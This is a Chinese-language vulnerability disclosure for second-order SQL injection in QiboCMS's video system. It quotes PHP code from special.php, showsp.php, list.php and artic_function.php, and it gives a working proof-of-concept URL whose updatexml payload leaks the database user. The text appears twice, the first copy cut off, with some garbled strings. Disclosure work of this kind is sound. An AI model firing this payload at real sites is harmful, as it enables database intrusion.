###0x01漏洞描述 齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞。 ###0x02漏洞详情 video/member/special.php ``` elseif($job=='addsp') { if($step==2){ $yz=($groupdb[PassContributeSP]||$web_admin)?1:0; $db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')"); refreshto("special.php?job=listsp","??",1); } ``` $aids没有初始话而且在全局文件中也没任何过滤,在加上齐博的伪全局机制使得$aids直接入库了 看看在什么地方出库了(在两个地方出库进入查询) 第一处: video/showsp.php ``` $rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE id='$id'"); //这里查询取出aids if(!$rsdb){ showerr("ݲ!"); }elseif($rsdb[yz]!=1){ if(!$web_admin&&$lfjuid!=$rsdb[uid]){ showerr("ûͨ"); } 此处省略代码若干 if($rsdb[aids]) {//这里如果rsdb[aids]存在就带入查询 $query = $db->query("SELECT...
###0x01漏洞描述 齐博CMS视频系统 showsp.php和list.php 两处SQL注入漏洞。 ###0x02漏洞详情 video/member/special.php ``` elseif($job=='addsp') { if($step==2){ $yz=($groupdb[PassContributeSP]||$web_admin)?1:0; $db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')"); refreshto("special.php?job=listsp","??",1); } ``` $aids没有初始话而且在全局文件中也没任何过滤,在加上齐博的伪全局机制使得$aids直接入库了 看看在什么地方出库了(在两个地方出库进入查询) 第一处: video/showsp.php ``` $rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE id='$id'"); //这里查询取出aids if(!$rsdb){ showerr("ݲ!"); }elseif($rsdb[yz]!=1){ if(!$web_admin&&$lfjuid!=$rsdb[uid]){ showerr("ûͨ"); } 此处省略代码若干 if($rsdb[aids]) {//这里如果rsdb[aids]存在就带入查询 $query = $db->query("SELECT A.*,D.content FROM {$_pre}article A LEFT JOIN {$_pre}reply D ON D.aid=A.aid WHERE D.topic=1 AND D.aid IN ($rsdb[aids])"); while($rs = $db->fetch_array($query)){ $rs[content]=preg_replace('/<([^<]*)>/is',"",$rs[content]); //HTML˵ $rs[content]=preg_replace('/ || /is',"",$rs[content]); //ѶĿոȥ $rs[url]="$Mdomain/bencandy.php?fid=$rs[fid]&id=$rs[aid]"; $rs[subject]="<a href='$rs[url]' target=_blank>$rs[title]</a>"; $_listdb[$rs[aid]]=$rs; } ``` select出aids 然后直接又带入查询 造成了注入漏洞 第二处: video/member/list.php ``` if($step==2){ if(!$aidDB){ showerr("请至少选择一篇视频"); }elseif(!$Type){ showerr("请选择操作目标,是删除还是审核等..."); } if($Type=='yz'){ if($T_yz<1){ $Type=='unyz'; } }elseif($Type=='leavels'){ if($levels<1){ $Type='uncom'; }else{ $levels=1; $Type='com'; } } //if($Type=='delete'){ //make_more_article_html("$FROMURL","del_0",$aidDB); //} $fid_str =''; foreach( $aidDB AS $key=>$value){ if($webdb[Html_Type]==1&&$Type=='delete'){ //删除信息后,就读不到内容了 $rs=$db->get_one("SELECT fid FROM {$_pre}article WHERE aid='$value'"); $fid_str.="&bfid_array[]=$rs[fid]"; } do_work($value,$Type,1); ``` 在这里调用了do_work函数 跟进 video/inc/artic_function.php ``` function do_work($id,$job,$check=0){ global $db,$_pre,$timestamp,$lfjid,$lfjdb,$webdb,$web_admin,$reason,$Fid_db; 。。。 elseif($job=='special') { global $spid; if(!$spid){ showerr("请选择一个专题"); } $rssp=$db->get_one(" SELECT * FROM {$_pre}special WHERE id='$spid' "); $detail=explode(",",$rssp[aids]); var_dump($detail); if( !in_array($id,$detail) ){ if($rssp[aids]){ $rssp[aids]="$id,$rssp[aids]"; }else{ $rssp[aids]="$id"; } $db->query("UPDATE `{$_pre}special` SET `aids`='$rssp[aids]' WHERE id='$spid'"); } $array[title]="你发表的《{$rsdb[title]}》被设置专题了"; ``` 把出库的aids带入了update语句,造成sql注入 ###0x03漏洞证明 ``` http://localhost/video/video/member/special.php?job=addsp&postdb[fid]=1&postdb[title]=2222&id=11&step=2&aids=2)%20and%20updatexml(0,concat(0xa,user()),0)%23 ```  ###0x04修复方案 过滤。